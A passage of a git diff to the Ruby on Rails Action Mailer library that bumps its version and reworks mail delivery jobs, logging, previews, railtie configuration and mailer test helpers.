       #
       #   add_delivery_method :sendmail, Mail::Sendmail,
       #     location:  '/usr/sbin/sendmail',
-      #     arguments: '-i'
+      #     arguments: %w[ -i ]
       def add_delivery_method(symbol, klass, default_options = {})
         class_attribute(:"#{symbol}_settings") unless respond_to?(:"#{symbol}_settings")
-        send(:"#{symbol}_settings=", default_options)
+        public_send(:"#{symbol}_settings=", default_options)
         self.delivery_methods = delivery_methods.merge(symbol.to_sym => klass).freeze
       end
 
diff --git a/actionmailer/lib/action_mailer/deprecator.rb b/actionmailer/lib/action_mailer/deprecator.rb
new file mode 100644
index 0000000000000..26fde3a857ece
--- /dev/null
+++ b/actionmailer/lib/action_mailer/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actionmailer/lib/action_mailer/form_builder.rb b/actionmailer/lib/action_mailer/form_builder.rb
new file mode 100644
index 0000000000000..048ea337822fc
--- /dev/null
+++ b/actionmailer/lib/action_mailer/form_builder.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  # = Action Mailer Form Builder
+  #
+  # Override the default form builder for all views rendered by this
+  # mailer and any of its descendants. Accepts a subclass of
+  # ActionView::Helpers::FormBuilder.
+  #
+  # While emails typically will not include forms, this can be used
+  # by views that are shared between controllers and mailers.
+  #
+  # For more information, see +ActionController::FormBuilder+.
+  module FormBuilder
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_default_form_builder, instance_accessor: false
+    end
+
+    module ClassMethods
+      # Set the form builder to be used as the default for all forms
+      # in the views rendered by this mailer and its subclasses.
+      #
+      # ==== Parameters
+      # * <tt>builder</tt> - Default form builder. Accepts a subclass of ActionView::Helpers::FormBuilder
+      def default_form_builder(builder)
+        self._default_form_builder = builder
+      end
+    end
+
+    # Default form builder for the mailer
+    def default_form_builder
+      self.class._default_form_builder
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
index 7dafceef2bf27..0a366740204f0 100644
--- a/actionmailer/lib/action_mailer/gem_version.rb
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActionMailer
-  # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt>.
+  # Returns the currently loaded version of Action Mailer as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/actionmailer/lib/action_mailer/inline_preview_interceptor.rb b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb
index 980415afe0902..6b47f1b961137 100644
--- a/actionmailer/lib/action_mailer/inline_preview_interceptor.rb
+++ b/actionmailer/lib/action_mailer/inline_preview_interceptor.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "base64"
 
 module ActionMailer
+  # = Action Mailer \InlinePreviewInterceptor
+  #
   # Implements a mailer preview interceptor that converts image tag src attributes
-  # that use inline cid: style urls to data: style urls so that they are visible
+  # that use inline +cid:+ style URLs to +data:+ style URLs so that they are visible
   # when previewing an HTML email in a web browser.
   #
   # This interceptor is enabled by default. To disable it, delete it from the
@@ -15,15 +19,15 @@ class InlinePreviewInterceptor
 
     include Base64
 
-    def self.previewing_email(message) #:nodoc:
+    def self.previewing_email(message) # :nodoc:
       new(message).transform!
     end
 
-    def initialize(message) #:nodoc:
+    def initialize(message) # :nodoc:
       @message = message
     end
 
-    def transform! #:nodoc:
+    def transform! # :nodoc:
       return message if html_part.blank?
 
       html_part.body = html_part.decoded.gsub(PATTERN) do |match|
@@ -38,9 +42,7 @@ def transform! #:nodoc:
     end
 
     private
-      def message
-        @message
-      end
+      attr_reader :message
 
       def html_part
         @html_part ||= message.html_part
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index 2c058ccf660fa..bc521a4bc43af 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -1,39 +1,44 @@
+# frozen_string_literal: true
+
 require "active_support/log_subscriber"
 
 module ActionMailer
-  # Implements the ActiveSupport::LogSubscriber for logging notifications when
-  # email is delivered or received.
-  class LogSubscriber < ActiveSupport::LogSubscriber
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
+    self.namespace = "action_mailer"
+
     # An email was delivered.
-    def deliver(event)
+    def delivered(event)
+      payload = event[:payload]
       info do
-        recipients = Array(event.payload[:to]).join(", ")
-        "Sent mail to #{recipients} (#{event.duration.round(1)}ms)"
+        if payload[:exception_class]
+          "Failed delivery of mail #{payload[:message_id]} error_class=#{payload[:exception_class]} error_message=#{payload[:exception_message].inspect}"
+        elsif payload[:perform_deliveries]
+          "Delivered mail #{payload[:message_id]} (#{payload[:duration_ms].round(1)}ms)"
+        else
+          "Skipped delivery of mail #{payload[:message_id]} as `perform_deliveries` is false"
+        end
       end
 
-      debug { event.payload[:mail] }
-    end
-
-    # An email was received.
-    def receive(event)
-      info { "Received mail (#{event.duration.round(1)}ms)" }
-      debug { event.payload[:mail] }
+      debug { payload[:mail] }
     end
+    event_log_level :delivered, :debug
 
     # An email was generated.
-    def process(event)
+    def processed(event)
       debug do
-        mailer = event.payload[:mailer]
-        action = event.payload[:action]
-        "#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms"
+        mailer = event[:payload][:mailer]
+        action = event[:payload][:action]
+        "#{mailer}##{action}: processed outbound mail in #{event[:payload][:duration_ms].round(1)}ms"
       end
     end
+    event_log_level :processed, :debug
 
-    # Use the logger configured for ActionMailer::Base.
-    def logger
+    def self.default_logger
       ActionMailer::Base.logger
     end
   end
 end
 
-ActionMailer::LogSubscriber.attach_to :action_mailer
+ActiveSupport.event_reporter.subscribe(
+  ActionMailer::LogSubscriber.new, &ActionMailer::LogSubscriber.subscription_filter
+)
diff --git a/actionmailer/lib/action_mailer/mail_delivery_job.rb b/actionmailer/lib/action_mailer/mail_delivery_job.rb
new file mode 100644
index 0000000000000..d76a7cf1155c8
--- /dev/null
+++ b/actionmailer/lib/action_mailer/mail_delivery_job.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "active_job"
+
+module ActionMailer
+  # = Action Mailer \MailDeliveryJob
+  #
+  # The +ActionMailer::MailDeliveryJob+ class is used when you
+  # want to send emails outside of the request-response cycle. It supports
+  # sending either parameterized or normal mail.
+  #
+  # Exceptions are rescued and handled by the mailer class.
+  class MailDeliveryJob < ActiveJob::Base # :nodoc:
+    queue_as do
+      mailer_class = arguments.first.constantize
+      mailer_class.deliver_later_queue_name
+    end
+
+    rescue_from StandardError, with: :handle_exception_with_mailer_class
+
+    def perform(mailer, mail_method, delivery_method, args:, kwargs: nil, params: nil)
+      mailer_class = params ? mailer.constantize.with(params) : mailer.constantize
+      message = if kwargs
+        mailer_class.public_send(mail_method, *args, **kwargs)
+      else
+        mailer_class.public_send(mail_method, *args)
+      end
+      message.send(delivery_method)
+    end
+
+    private
+      # "Deserialize" the mailer class name by hand in case another argument
+      # (like a Global ID reference) raised DeserializationError.
+      def mailer_class
+        if mailer = Array(@serialized_arguments).first || Array(arguments).first
+          mailer.constantize
+        end
+      end
+
+      def handle_exception_with_mailer_class(exception)
+        if klass = mailer_class
+          klass.handle_exception exception
+        else
+          raise exception
+        end
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index e04fc08866aa2..13c8571dc45f7 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActionMailer
+  # = Action Mailer \MailHelper
+  #
   # Provides helper methods for ActionMailer::Base that can be used for easily
   # formatting messages, accessing mailer or message instances, and the
   # attachments list.
@@ -21,10 +25,18 @@ def block_format(text)
       }.join("\n\n")
 
       # Make list points stand on their own line
-      formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { "  #{$1} #{$2.strip}\n" }
-      formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { "  #{$1} #{$2.strip}\n" }
+      output = +""
+      splits = formatted.split(/(\*+|\#+)/)
+      while line = splits.shift
+        if line.start_with?("*", "#") && splits.first&.start_with?(" ")
+          output.chomp!(" ") while output.end_with?(" ")
+          output << "  #{line} #{splits.shift.strip}\n"
+        else
+          output << line
+        end
+      end
 
-      formatted
+      output
     end
 
     # Access the mailer instance.
diff --git a/actionmailer/lib/action_mailer/message_delivery.rb b/actionmailer/lib/action_mailer/message_delivery.rb
index cf7c57e6bf042..4020807182086 100644
--- a/actionmailer/lib/action_mailer/message_delivery.rb
+++ b/actionmailer/lib/action_mailer/message_delivery.rb
@@ -1,11 +1,47 @@
+# frozen_string_literal: true
+
 require "delegate"
 
 module ActionMailer
-  # The <tt>ActionMailer::MessageDelivery</tt> class is used by
-  # <tt>ActionMailer::Base</tt> when creating a new mailer.
+  class << self
+    # Enqueue many emails at once to be delivered through Active Job.
+    # When the individual job runs, it will send the email using +deliver_now+.
+    def deliver_all_later(*deliveries, **options)
+      _deliver_all_later("deliver_now", *deliveries, **options)
+    end
+
+    # Enqueue many emails at once to be delivered through Active Job.
+    # When the individual job runs, it will send the email using +deliver_now!+.
+    # That means that the message will be sent bypassing checking +perform_deliveries+
+    # and +raise_delivery_errors+, so use with caution.
+    def deliver_all_later!(*deliveries, **options)
+      _deliver_all_later("deliver_now!", *deliveries, **options)
+    end
+
+    private
+      def _deliver_all_later(delivery_method, *deliveries, **options)
+        deliveries = deliveries.first if deliveries.first.is_a?(Array)
+
+        jobs = deliveries.map do |delivery|
+          mailer_class = delivery.mailer_class
+          delivery_job = mailer_class.delivery_job
+
+          delivery_job
+            .new(mailer_class.name, delivery.action.to_s, delivery_method, params: delivery.params, args: delivery.args)
+            .set(options)
+        end
+
+        ActiveJob.perform_all_later(jobs)
+      end
+  end
+
+  # = Action Mailer \MessageDelivery
+  #
+  # The +ActionMailer::MessageDelivery+ class is used by
+  # ActionMailer::Base when creating a new mailer.
   # <tt>MessageDelivery</tt> is a wrapper (+Delegator+ subclass) around a lazy
-  # created <tt>Mail::Message</tt>. You can get direct access to the
-  # <tt>Mail::Message</tt>, deliver the email or schedule the email to be sent
+  # created +Mail::Message+. You can get direct access to the
+  # +Mail::Message+, deliver the email or schedule the email to be sent
   # through Active Job.
   #
   #   Notifier.welcome(User.first)               # an ActionMailer::MessageDelivery object
@@ -13,7 +49,9 @@ module ActionMailer
   #   Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job
   #   Notifier.welcome(User.first).message       # a Mail::Message object
   class MessageDelivery < Delegator
-    def initialize(mailer_class, action, *args) #:nodoc:
+    attr_reader :mailer_class, :action, :params, :args # :nodoc:
+
+    def initialize(mailer_class, action, *args) # :nodoc:
       @mailer_class, @action, @args = mailer_class, action, args
 
       # The mail is only processed if we try to call any methods on it.
@@ -21,14 +59,15 @@ def initialize(mailer_class, action, *args) #:nodoc:
       @processed_mailer = nil
       @mail_message = nil
     end
+    ruby2_keywords(:initialize)
 
     # Method calls are delegated to the Mail::Message that's ready to deliver.
-    def __getobj__ #:nodoc:
+    def __getobj__ # :nodoc:
       @mail_message ||= processed_mailer.message
     end
 
-    # Unused except for delegator internals (dup, marshaling).
-    def __setobj__(mail_message) #:nodoc:
+    # Unused except for delegator internals (dup, marshalling).
+    def __setobj__(mail_message) # :nodoc:
       @mail_message = mail_message
     end
 
@@ -50,12 +89,23 @@ def processed?
     #   Notifier.welcome(User.first).deliver_later!
     #   Notifier.welcome(User.first).deliver_later!(wait: 1.hour)
     #   Notifier.welcome(User.first).deliver_later!(wait_until: 10.hours.from_now)
+    #   Notifier.welcome(User.first).deliver_later!(priority: 10)
     #
     # Options:
     #
     # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
     # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
     # * <tt>:queue</tt> - Enqueue the email on the specified queue
+    # * <tt>:priority</tt> - Enqueues the email with the specified priority
+    #
+    # By default, the email will be enqueued using ActionMailer::MailDeliveryJob on
+    # the default queue. Mailer classes can customize the queue name used for the default
+    # job by assigning a +deliver_later_queue_name+ class variable, or provide a custom job
+    # by assigning a +delivery_job+. When a custom job is used, it controls the queue name.
+    #
+    #   class AccountRegistrationMailer < ApplicationMailer
+    #     self.delivery_job = RegistrationDeliveryJob
+    #   end
     def deliver_later!(options = {})
       enqueue_delivery :deliver_now!, options
     end
@@ -66,12 +116,23 @@ def deliver_later!(options = {})
     #   Notifier.welcome(User.first).deliver_later
     #   Notifier.welcome(User.first).deliver_later(wait: 1.hour)
     #   Notifier.welcome(User.first).deliver_later(wait_until: 10.hours.from_now)
+    #   Notifier.welcome(User.first).deliver_later(priority: 10)
     #
     # Options:
     #
     # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay.
     # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time.
     # * <tt>:queue</tt> - Enqueue the email on the specified queue.
+    # * <tt>:priority</tt> - Enqueues the email with the specified priority
+    #
+    # By default, the email will be enqueued using ActionMailer::MailDeliveryJob on
+    # the default queue. Mailer classes can customize the queue name used for the default
+    # job by assigning a +deliver_later_queue_name+ class variable, or provide a custom job
+    # by assigning a +delivery_job+. When a custom job is used, it controls the queue name.
+    #
+    #   class AccountRegistrationMailer < ApplicationMailer
+    #     self.delivery_job = RegistrationDeliveryJob
+    #   end
     def deliver_later(options = {})
       enqueue_delivery :deliver_now, options
     end
@@ -83,7 +144,9 @@ def deliver_later(options = {})
     #
     def deliver_now!
       processed_mailer.handle_exceptions do
-        message.deliver!
+        processed_mailer.run_callbacks(:deliver) do
+          message.deliver!
+        end
       end
     end
 
@@ -93,13 +156,15 @@ def deliver_now!
     #
     def deliver_now
       processed_mailer.handle_exceptions do
-        message.deliver
+        processed_mailer.run_callbacks(:deliver) do
+          message.deliver
+        end
       end
     end
 
     private
       # Returns the processed Mailer instance. We keep this instance
-      # on hand so we can delegate exception handling to it.
+      # on hand so we can run callbacks and delegate exception handling to it.
       def processed_mailer
         @processed_mailer ||= @mailer_class.new.tap do |mailer|
           mailer.process @action, *@args
@@ -117,8 +182,8 @@ def enqueue_delivery(delivery_method, options = {})
             "#deliver_later, 2. only touch the message *within your mailer " \
             "method*, or 3. use a custom Active Job instead of #deliver_later."
         else
-          args = @mailer_class.name, @action.to_s, delivery_method.to_s, *@args
-          ::ActionMailer::DeliveryJob.set(options).perform_later(*args)
+          @mailer_class.delivery_job.set(options).perform_later(
+            @mailer_class.name, @action.to_s, delivery_method.to_s, args: @args)
         end
       end
   end
diff --git a/actionmailer/lib/action_mailer/parameterized.rb b/actionmailer/lib/action_mailer/parameterized.rb
index 3acacc1f14396..cbfba5f1deedc 100644
--- a/actionmailer/lib/action_mailer/parameterized.rb
+++ b/actionmailer/lib/action_mailer/parameterized.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActionMailer
+  # = Action Mailer \Parameterized
+  #
   # Provides the option to parameterize mailers in order to share instance variable
   # setup, processing, and common headers.
   #
@@ -86,7 +90,11 @@ module Parameterized
     extend ActiveSupport::Concern
 
     included do
-      attr_accessor :params
+      attr_writer :params
+
+      def params
+        @params ||= {}
+      end
     end
 
     module ClassMethods
@@ -106,9 +114,9 @@ def initialize(mailer, params)
       end
 
       private
-        def method_missing(method_name, *args)
-          if @mailer.action_methods.include?(method_name.to_s)
-            ActionMailer::Parameterized::MessageDelivery.new(@mailer, method_name, @params, *args)
+        def method_missing(method_name, ...)
+          if @mailer.action_methods.include?(method_name.name)
+            ActionMailer::Parameterized::MessageDelivery.new(@mailer, method_name, @params, ...)
           else
             super
           end
@@ -120,8 +128,8 @@ def respond_to_missing?(method, include_all = false)
     end
 
     class MessageDelivery < ActionMailer::MessageDelivery # :nodoc:
-      def initialize(mailer_class, action, params, *args)
-        super(mailer_class, action, *args)
+      def initialize(mailer_class, action, params, ...)
+        super(mailer_class, action, ...)
         @params = params
       end
 
@@ -137,16 +145,10 @@ def enqueue_delivery(delivery_method, options = {})
           if processed?
             super
           else
-            args = @mailer_class.name, @action.to_s, delivery_method.to_s, @params, *@args
-            ActionMailer::Parameterized::DeliveryJob.set(options).perform_later(*args)
+            @mailer_class.delivery_job.set(options).perform_later(
+              @mailer_class.name, @action.to_s, delivery_method.to_s, params: @params, args: @args)
           end
         end
     end
-
-    class DeliveryJob < ActionMailer::DeliveryJob # :nodoc:
-      def perform(mailer, mail_method, delivery_method, params, *args)
-        mailer.constantize.with(params).public_send(mail_method, *args).send(delivery_method)
-      end
-    end
   end
 end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
index b0152aff0377e..814f256cef1d2 100644
--- a/actionmailer/lib/action_mailer/preview.rb
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -1,27 +1,28 @@
+# frozen_string_literal: true
+
 require "active_support/descendants_tracker"
 
 module ActionMailer
-  module Previews #:nodoc:
+  module Previews # :nodoc:
     extend ActiveSupport::Concern
 
     included do
-      # Set the location of mailer previews through app configuration:
+      # Add the location of mailer previews through app configuration:
       #
-      #     config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+      #     config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
       #
-      mattr_accessor :preview_path, instance_writer: false
+      mattr_accessor :preview_paths, instance_writer: false, default: []
 
       # Enable or disable mailer previews through app configuration:
       #
       #     config.action_mailer.show_previews = true
       #
-      # Defaults to true for development environment
+      # Defaults to +true+ for development environment
       #
       mattr_accessor :show_previews, instance_writer: false
 
       # :nodoc:
-      mattr_accessor :preview_interceptors, instance_writer: false
-      self.preview_interceptors = [ActionMailer::InlinePreviewInterceptor]
+      mattr_accessor :preview_interceptors, instance_writer: false, default: [ActionMailer::InlinePreviewInterceptor]
     end
 
     module ClassMethods
@@ -30,40 +31,62 @@ def register_preview_interceptors(*interceptors)
         interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
       end
 
+      # Unregister one or more previously registered Interceptors.
+      def unregister_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| unregister_preview_interceptor(interceptor) }
+      end
+
       # Register an Interceptor which will be called before mail is previewed.
       # Either a class or a string can be passed in as the Interceptor. If a
-      # string is passed in it will be <tt>constantize</tt>d.
+      # string is passed in it will be constantized.
       def register_preview_interceptor(interceptor)
-        preview_interceptor = \
+        preview_interceptor = interceptor_class_for(interceptor)
+
+        unless preview_interceptors.include?(preview_interceptor)
+          preview_interceptors << preview_interceptor
+        end
+      end
+
+      # Unregister a previously registered Interceptor.
+      # Either a class or a string can be passed in as the Interceptor. If a
+      # string is passed in it will be constantized.
+      def unregister_preview_interceptor(interceptor)
+        preview_interceptors.delete(interceptor_class_for(interceptor))
+      end
+
+      private
+        def interceptor_class_for(interceptor)
           case interceptor
           when String, Symbol
             interceptor.to_s.camelize.constantize
           else
             interceptor
           end
-
-        unless preview_interceptors.include?(preview_interceptor)
-          preview_interceptors << preview_interceptor
         end
-      end
     end
   end
 
   class Preview
     extend ActiveSupport::DescendantsTracker
 
+    attr_reader :params
+
+    def initialize(params = {})
+      @params = params
+    end
+
     class << self
       # Returns all mailer preview classes.
       def all
         load_previews if descendants.empty?
-        descendants
+        descendants.sort_by { |mailer| mailer.name.titleize }
       end
 
       # Returns the mail object for the given email name. The registered preview
       # interceptors will be informed so that they can transform the message
       # as they would if the mail was actually being delivered.
-      def call(email)
-        preview = new
+      def call(email, params = {})
+        preview = new(params)
         message = preview.public_send(email)
         inform_preview_interceptors(message)
         message
@@ -74,12 +97,12 @@ def emails
         public_instance_methods(false).map(&:to_s).sort
       end
 
-      # Returns true if the email exists.
+      # Returns +true+ if the email exists.
       def email_exists?(email)
         emails.include?(email)
       end
 
-      # Returns true if the preview exists.
+      # Returns +true+ if the preview exists.
       def exists?(preview)
         all.any? { |p| p.preview_name == preview }
       end
@@ -91,18 +114,18 @@ def find(preview)
 
       # Returns the underscored name of the mailer preview without the suffix.
       def preview_name
-        name.sub(/Preview$/, "").underscore
+        name.delete_suffix("Preview").underscore
       end
 
       private
         def load_previews
-          if preview_path
-            Dir["#{preview_path}/**/*_preview.rb"].each { |file| require_dependency file }
+          preview_paths.each do |preview_path|
+            Dir["#{preview_path}/**/*_preview.rb"].sort.each { |file| require file }
           end
         end
 
-        def preview_path
-          Base.preview_path
+        def preview_paths
+          Base.preview_paths
         end
 
         def show_previews
diff --git a/actionmailer/lib/action_mailer/queued_delivery.rb b/actionmailer/lib/action_mailer/queued_delivery.rb
new file mode 100644
index 0000000000000..1624b62aa373d
--- /dev/null
+++ b/actionmailer/lib/action_mailer/queued_delivery.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ActionMailer
+  module QueuedDelivery
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :delivery_job, default: ::ActionMailer::MailDeliveryJob
+      class_attribute :deliver_later_queue_name, default: :mailers
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 913df8cf939cf..3c8d638b34c80 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -1,13 +1,20 @@
+# frozen_string_literal: true
+
+require "rails"
 require "active_job/railtie"
 require "action_mailer"
-require "rails"
 require "abstract_controller/railties/routes_helpers"
 
 module ActionMailer
   class Railtie < Rails::Railtie # :nodoc:
     config.action_mailer = ActiveSupport::OrderedOptions.new
+    config.action_mailer.preview_paths = []
     config.eager_load_namespaces << ActionMailer
 
+    initializer "action_mailer.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_mailer] = ActionMailer.deprecator
+    end
+
     initializer "action_mailer.logger" do
       ActiveSupport.on_load(:action_mailer) { self.logger ||= Rails.logger }
     end
@@ -16,20 +23,12 @@ class Railtie < Rails::Railtie # :nodoc:
       paths   = app.config.paths
       options = app.config.action_mailer
 
-      if app.config.force_ssl
-        options.default_url_options ||= {}
-        options.default_url_options[:protocol] ||= "https"
-      end
-
       options.assets_dir      ||= paths["public"].first
       options.javascripts_dir ||= paths["public/javascripts"].first
       options.stylesheets_dir ||= paths["public/stylesheets"].first
       options.show_previews = Rails.env.development? if options.show_previews.nil?
       options.cache_store ||= Rails.cache
-
-      if options.show_previews
-        options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
-      end
+      options.preview_paths |= ["#{Rails.root}/test/mailers/previews"]
 
       # make sure readers methods get compiled
       options.asset_host          ||= app.config.asset_host
@@ -43,17 +42,35 @@ class Railtie < Rails::Railtie # :nodoc:
         register_interceptors(options.delete(:interceptors))
         register_preview_interceptors(options.delete(:preview_interceptors))
         register_observers(options.delete(:observers))
+        self.preview_paths |= options[:preview_paths]
+
+        if delivery_job = options.delete(:delivery_job)
+          self.delivery_job = delivery_job.constantize
+        end
+
+        if options.smtp_settings
+          self.smtp_settings = options.smtp_settings
+        end
+
+        smtp_timeout = options.delete(:smtp_timeout)
+
+        if self.smtp_settings && smtp_timeout
+          self.smtp_settings[:open_timeout] ||= smtp_timeout
+          self.smtp_settings[:read_timeout] ||= smtp_timeout
+        end
 
         options.each { |k, v| send("#{k}=", v) }
       end
 
-      ActiveSupport.on_load(:action_dispatch_integration_test) { include ActionMailer::TestCase::ClearTestDeliveries }
+      ActiveSupport.on_load(:action_dispatch_integration_test) do
+        include ActionMailer::TestHelper
+        include ActionMailer::TestCase::ClearTestDeliveries
+      end
     end
 
-    initializer "action_mailer.compile_config_methods" do
-      ActiveSupport.on_load(:action_mailer) do
-        config.compile_methods! if config.respond_to?(:compile_methods!)
-      end
+    initializer "action_mailer.set_autoload_paths", before: :set_autoload_paths do |app|
+      options = app.config.action_mailer
+      app.config.paths["test/mailers/previews"].concat(options.preview_paths)
     end
 
     config.after_initialize do |app|
@@ -61,12 +78,9 @@ class Railtie < Rails::Railtie # :nodoc:
 
       if options.show_previews
         app.routes.prepend do
-          get "/rails/mailers"         => "rails/mailers#index", internal: true
-          get "/rails/mailers/*path"   => "rails/mailers#preview", internal: true
-        end
-
-        if options.preview_path
-          ActiveSupport::Dependencies.autoload_paths << options.preview_path
+          get "/rails/mailers" => "rails/mailers#index", internal: true
+          get "/rails/mailers/download/*path" => "rails/mailers#download", internal: true
+          get "/rails/mailers/*path" => "rails/mailers#preview", internal: true
         end
       end
     end
diff --git a/actionmailer/lib/action_mailer/rescuable.rb b/actionmailer/lib/action_mailer/rescuable.rb
index f2eabfa0574f8..2c881505ae27b 100644
--- a/actionmailer/lib/action_mailer/rescuable.rb
+++ b/actionmailer/lib/action_mailer/rescuable.rb
@@ -1,24 +1,30 @@
-module ActionMailer #:nodoc:
-  # Provides `rescue_from` for mailers. Wraps mailer action processing,
-  # mail job processing, and mail delivery.
+# frozen_string_literal: true
+
+module ActionMailer # :nodoc:
+  # = Action Mailer \Rescuable
+  #
+  # Provides
+  # {rescue_from}[rdoc-ref:ActiveSupport::Rescuable::ClassMethods#rescue_from]
+  # for mailers. Wraps mailer action processing, mail job processing, and mail
+  # delivery to handle configured errors.
   module Rescuable
     extend ActiveSupport::Concern
     include ActiveSupport::Rescuable
 
     class_methods do
-      def handle_exception(exception) #:nodoc:
+      def handle_exception(exception) # :nodoc:
         rescue_with_handler(exception) || raise(exception)
       end
     end
 
-    def handle_exceptions #:nodoc:
+    def handle_exceptions # :nodoc:
       yield
     rescue => exception
       rescue_with_handler(exception) || raise
     end
 
     private
-      def process(*)
+      def process(...)
         handle_exceptions do
           super
         end
diff --git a/actionmailer/lib/action_mailer/structured_event_subscriber.rb b/actionmailer/lib/action_mailer/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..f9ae6c8c440ca
--- /dev/null
+++ b/actionmailer/lib/action_mailer/structured_event_subscriber.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module ActionMailer
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    # An email was delivered.
+    def deliver(event)
+      exception = event.payload[:exception_object]
+      payload = {
+        message_id: event.payload[:message_id],
+        duration_ms: event.duration.round(2),
+        mail: event.payload[:mail],
+        perform_deliveries: event.payload[:perform_deliveries],
+      }
+
+      if exception
+        payload[:exception_class] = exception.class.name
+        payload[:exception_message] = exception.message
+      end
+
+      emit_debug_event("action_mailer.delivered", payload)
+    end
+    debug_only :deliver
+
+    # An email was generated.
+    def process(event)
+      emit_debug_event("action_mailer.processed",
+        mailer: event.payload[:mailer],
+        action: event.payload[:action],
+        duration_ms: event.duration.round(2),
+      )
+    end
+    debug_only :process
+  end
+end
+
+ActionMailer::StructuredEventSubscriber.attach_to :action_mailer
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index 9ead03a40cc29..8ec38edef00a0 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/test_case"
 require "rails-dom-testing"
 
@@ -20,7 +22,6 @@ module ClearTestDeliveries
       end
 
       private
-
         def clear_test_deliveries
           if ActionMailer::Base.delivery_method == :test
             ActionMailer::Base.deliveries.clear
@@ -37,6 +38,9 @@ module Behavior
       include Rails::Dom::Testing::Assertions::DomAssertions
 
       included do
+        class_attribute :_decoders, default: Hash.new(->(body) { body }).merge!(
+          Mime[:html] => ->(body) { Rails::Dom::Testing.html_document.parse(body) }
+        ).freeze # :nodoc:
         class_attribute :_mailer_class
         setup :initialize_test_deliveries
         setup :set_expected_mail
@@ -73,8 +77,63 @@ def determine_default_mailer(name)
         end
       end
 
-      private
+      # Reads the fixture file for the given mailer.
+      #
+      # This is useful when testing mailers by being able to write the body of
+      # an email inside a fixture. See the testing guide for a concrete example:
+      # https://guides.rubyonrails.org/testing.html#revenge-of-the-fixtures
+      def read_fixture(action)
+        IO.readlines(File.join(Rails.root, "test", "fixtures", self.class.mailer_class.name.underscore, action))
+      end
+
+      # Assert that a Mail instance has a part matching the content type.
+      # If the Mail is multipart, extract and decode the appropriate part. Yield the decoded part to the block.
+      #
+      # By default, assert against the last delivered Mail.
+      #
+      #   UsersMailer.create(user).deliver_now
+      #   assert_part :text do |text|
+      #     assert_includes text, "Welcome, #{user.email}"
+      #   end
+      #   assert_part :html do |html|
+      #     assert_dom html.root, "h1", text: "Welcome, #{user.email}"
+      #   end
+      #
+      # Assert against a Mail instance when provided
+      #
+      #   mail = UsersMailer.create(user)
+      #   assert_part :text, mail do |text|
+      #     assert_includes text, "Welcome, #{user.email}"
+      #   end
+      #   assert_part :html, mail do |html|
+      #     assert_dom html.root, "h1", text: "Welcome, #{user.email}"
+      #   end
+      def assert_part(content_type, mail = last_delivered_mail!)
+        mime_type = Mime[content_type]
+        part = [*mail.parts, mail].find { |part| mime_type.match?(part.mime_type) }
+        decoder = _decoders[mime_type]
+
+        assert_not_nil part, "expected part matching #{mime_type} in #{mail.inspect}"
+
+        yield decoder.call(part.decoded) if block_given?
+      end
 
+      # Assert that a Mail instance does not have a part with a matching MIME type
+      #
+      # By default, assert against the last delivered Mail.
+      #
+      #   UsersMailer.create(user).deliver_now
+      #
+      #   assert_no_part :html
+      #   assert_no_part :text
